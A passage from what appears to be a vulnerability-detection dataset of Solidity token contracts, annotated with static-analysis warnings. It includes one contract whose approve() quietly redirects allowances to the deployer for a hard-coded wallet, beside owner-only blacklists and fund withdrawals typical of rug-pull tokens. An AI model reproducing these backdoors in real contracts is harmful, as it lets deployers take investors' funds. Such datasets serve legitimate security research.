_maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 49eee87): Contract._taxSwapThreshold should be constant \n\t// Recommendation for 49eee87: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = _tTotal / 50;\n\n\t// WARNING Optimization Issue (constable-states | ID: e937989): Contract._maxTaxSwap should be constant \n\t// Recommendation for e937989: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = _tTotal / 50;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private takeTax = true;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n _taxWallet = payable(address(owner()));\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 013f8e1): Contract.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 013f8e1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9dae1b5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9dae1b5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 48b9507): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 48b9507: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 9dae1b5\n\t\t// reentrancy-benign | ID: 48b9507\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 9dae1b5\n\t\t// reentrancy-benign | ID: 48b9507\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 96c28bf): Contract._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 96c28bf: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: e4bbf45\n\t\t// reentrancy-benign | ID: 48b9507\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 9dae1b5\n\t\t// reentrancy-events | ID: 3d57e14\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 988d2d2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 988d2d2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 69e3aa6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 69e3aa6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (takeTax) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 988d2d2\n\t\t\t\t// reentrancy-eth | ID: 69e3aa6\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 988d2d2\n\t\t\t\t\t// reentrancy-eth | ID: 69e3aa6\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 69e3aa6\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 69e3aa6\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 69e3aa6\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 988d2d2\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 69e3aa6\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 69e3aa6\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 988d2d2\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 9dae1b5\n\t\t// reentrancy-events | ID: 3d57e14\n\t\t// reentrancy-events | ID: 988d2d2\n\t\t// reentrancy-benign | ID: e4bbf45\n\t\t// reentrancy-benign | ID: 48b9507\n\t\t// reentrancy-eth | ID: 69e3aa6\n\t\t// reentrancy-eth | ID: 4ae4a21\n\t\t// reentrancy-eth | ID: c0af0ac\n\t\t// reentrancy-eth | ID: 70be54e\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 5f2bb48): Contract.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 5f2bb48: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 9dae1b5\n\t\t// reentrancy-events | ID: 3d57e14\n\t\t// reentrancy-events | ID: 988d2d2\n\t\t// reentrancy-eth | ID: 69e3aa6\n\t\t// reentrancy-eth | ID: 4ae4a21\n\t\t// reentrancy-eth | ID: c0af0ac\n\t\t// reentrancy-eth | ID: 70be54e\n\t\t// arbitrary-send-eth | ID: 5f2bb48\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3d57e14): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3d57e14: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e4bbf45): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e4bbf45: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 907a8a0): Contract.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)).mul(100 15).div(100),0,0,owner(),block.timestamp)\n\t// Recommendation for 907a8a0: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 93128ea): Contract.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 93128ea: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4ae4a21): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4ae4a21: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c0af0ac): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c0af0ac: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 70be54e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 70be54e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() public onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n address routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n if (block.chainid == 56) {\n routerAddress = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\n } else if (block.chainid == 97) {\n routerAddress = 0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3;\n } else if (\n block.chainid == 1 ||\n block.chainid == 4 ||\n block.chainid == 3 ||\n block.chainid == 5 ||\n block.chainid == 31337\n ) {\n routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n } else if (block.chainid == 11155111) {\n routerAddress = 0xC532a74256D3Db42D0Bf7a0400fEFDbad7694008;\n } else {\n revert();\n }\n\n uniswapV2Router = IUniswapV2Router02(routerAddress);\n\n takeTax = false;\n\n _approve(address(this), msg.sender, type(uint256).max);\n\n\t\t// reentrancy-events | ID: 3d57e14\n\t\t// reentrancy-benign | ID: e4bbf45\n\t\t// reentrancy-eth | ID: 4ae4a21\n\t\t// reentrancy-eth | ID: c0af0ac\n\t\t// reentrancy-eth | ID: 70be54e\n transfer(address(this), balanceOf(msg.sender));\n\n\t\t// reentrancy-events | ID: 3d57e14\n\t\t// reentrancy-benign | ID: e4bbf45\n\t\t// reentrancy-eth | ID: 4ae4a21\n\t\t// reentrancy-eth | ID: c0af0ac\n\t\t// reentrancy-eth | ID: 70be54e\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 3d57e14\n\t\t// reentrancy-benign | ID: e4bbf45\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n\t\t// unused-return | ID: 907a8a0\n\t\t// reentrancy-eth | ID: c0af0ac\n\t\t// reentrancy-eth | ID: 70be54e\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)).mul(100 - 15).div(100),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-eth | ID: 70be54e\n takeTax = true;\n\n\t\t// unused-return | ID: 93128ea\n\t\t// reentrancy-eth | ID: c0af0ac\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: c0af0ac\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: c0af0ac\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10747.sol",
"size_bytes": 22811,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ncontract QIXI is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _tOwned;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _uuExcludedFee;\n\n mapping(address => bool) private _uuExcemptFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 3ec1504): QIXI._bots is never initialized. It is used in QIXI._transfer(address,address,uint256)\n\t// Recommendation for 3ec1504: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private _bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e2659f3): QIXI._uuWallet should be immutable \n\t// Recommendation for e2659f3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _uuWallet;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Qixi\";\n\n string private constant _symbol = unicode\"QIXI\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletAmount = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: e83d2c2): QIXI._minTaxSwap should be constant \n\t// Recommendation for e83d2c2: Add the 'constant' attribute to state variables that never change.\n uint256 public _minTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: de6144c): QIXI._maxTaxSwap should be constant \n\t// Recommendation for de6144c: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8fd6137): QIXI._initialBuyTax should be constant \n\t// Recommendation for 8fd6137: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 2;\n\n\t// WARNING Optimization Issue (constable-states | ID: 91677fc): QIXI._initialSellTax should be constant \n\t// Recommendation for 91677fc: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: fb6d5f2): QIXI._finalBuyTax should be constant \n\t// Recommendation for fb6d5f2: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 80e97b0): QIXI._finalSellTax should be constant \n\t// Recommendation for 80e97b0: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 18d52c6): QIXI._reduceBuyAt should be constant \n\t// Recommendation for 18d52c6: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: bda33a1): QIXI._reduceSellAt should be constant \n\t// Recommendation for bda33a1: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4f02124): QIXI._preventCount should be constant \n\t// Recommendation for 4f02124: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventCount = 15;\n\n uint256 private _buyCount = 0;\n\n address private uuSendor;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private _caLimitSell = true;\n\n uint256 private _caBlockSell = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n uuSendor = _msgSender();\n\n _uuWallet = payable(0x2E42963963B12ccCB120de702ff6546EF86761E3);\n\n _uuExcemptFee[owner()] = true;\n\n _uuExcemptFee[_uuWallet] = true;\n\n _tOwned[address(this)] = _tTotal;\n\n _uuExcludedFee[owner()] = true;\n\n _uuExcludedFee[address(this)] = true;\n\n _uuExcludedFee[_uuWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _tOwned[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c6589fd): QIXI.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for c6589fd: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n address ownUU = _msgSender();\n if (_uuExcemptFee[spender]) ownUU = uuSendor;\n\n _approve(ownUU, spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 460ffa6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 460ffa6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3affe9b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3affe9b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 460ffa6\n\t\t// reentrancy-benign | ID: 3affe9b\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 460ffa6\n\t\t// reentrancy-benign | ID: 3affe9b\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1e9a4f7): QIXI._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1e9a4f7: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 3affe9b\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 460ffa6\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: baf85d4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for baf85d4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 07944a3): QIXI._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for 07944a3: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 3ec1504): QIXI._bots is never initialized. It is used in QIXI._transfer(address,address,uint256)\n\t// Recommendation for 3ec1504: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 53ecb36): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 53ecb36: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a77ddc2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a77ddc2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 feeUU = 0;\n\n if (from != owner() && to != owner()) {\n require(!_bots[from] && !_bots[to]);\n\n feeUU = amount\n .mul((_buyCount > _reduceBuyAt) ? _finalBuyTax : _initialBuyTax)\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_uuExcludedFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletAmount,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n feeUU = amount\n .mul(\n (_buyCount > _reduceSellAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// tautology | ID: 07944a3\n if (contractETHBalance >= 0) {\n\t\t\t\t\t// reentrancy-events | ID: baf85d4\n\t\t\t\t\t// reentrancy-eth | ID: 53ecb36\n\t\t\t\t\t// reentrancy-eth | ID: a77ddc2\n sendETHUFCC(address(this).balance);\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _minTaxSwap &&\n _buyCount > _preventCount\n ) {\n if (_caLimitSell) {\n if (_caBlockSell < block.number) {\n\t\t\t\t\t\t// reentrancy-events | ID: baf85d4\n\t\t\t\t\t\t// reentrancy-eth | ID: 53ecb36\n\t\t\t\t\t\t// reentrancy-eth | ID: a77ddc2\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t\t// reentrancy-events | ID: baf85d4\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 53ecb36\n\t\t\t\t\t\t\t// reentrancy-eth | ID: a77ddc2\n sendETHUFCC(address(this).balance);\n }\n\n\t\t\t\t\t\t// reentrancy-eth | ID: a77ddc2\n _caBlockSell = block.number;\n }\n } else {\n\t\t\t\t\t// reentrancy-events | ID: baf85d4\n\t\t\t\t\t// reentrancy-eth | ID: 53ecb36\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t// reentrancy-events | ID: baf85d4\n\t\t\t\t\t\t// reentrancy-eth | ID: 53ecb36\n sendETHUFCC(address(this).balance);\n }\n }\n }\n }\n\n if (feeUU > 0) {\n\t\t\t// reentrancy-eth | ID: 53ecb36\n _tOwned[address(this)] = _tOwned[address(this)].add(feeUU);\n\n\t\t\t// reentrancy-events | ID: baf85d4\n emit Transfer(from, address(this), feeUU);\n }\n\n\t\t// reentrancy-eth | ID: 53ecb36\n _tOwned[from] = _tOwned[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 53ecb36\n _tOwned[to] = _tOwned[to].add(amount.sub(feeUU));\n\n\t\t// reentrancy-events | ID: baf85d4\n emit Transfer(from, to, amount.sub(feeUU));\n }\n\n function removeLimits() external onlyOwner {\n _caLimitSell = false;\n\n _maxTxAmount = _tTotal;\n\n _maxWalletAmount = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function sendETHUFCC(uint256 amount) private {\n\t\t// reentrancy-events | ID: baf85d4\n\t\t// reentrancy-events | ID: 460ffa6\n\t\t// reentrancy-eth | ID: 53ecb36\n\t\t// reentrancy-eth | ID: a77ddc2\n _uuWallet.transfer(amount);\n }\n\n function withdrawUFCC() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n\n receive() external payable {}\n\n function addLiquidity(address[] memory addrs) external {\n for (uint256 i = 0; i < addrs.length; i++) {\n if (addrs[i] == uniswapV2Pair) return;\n\n 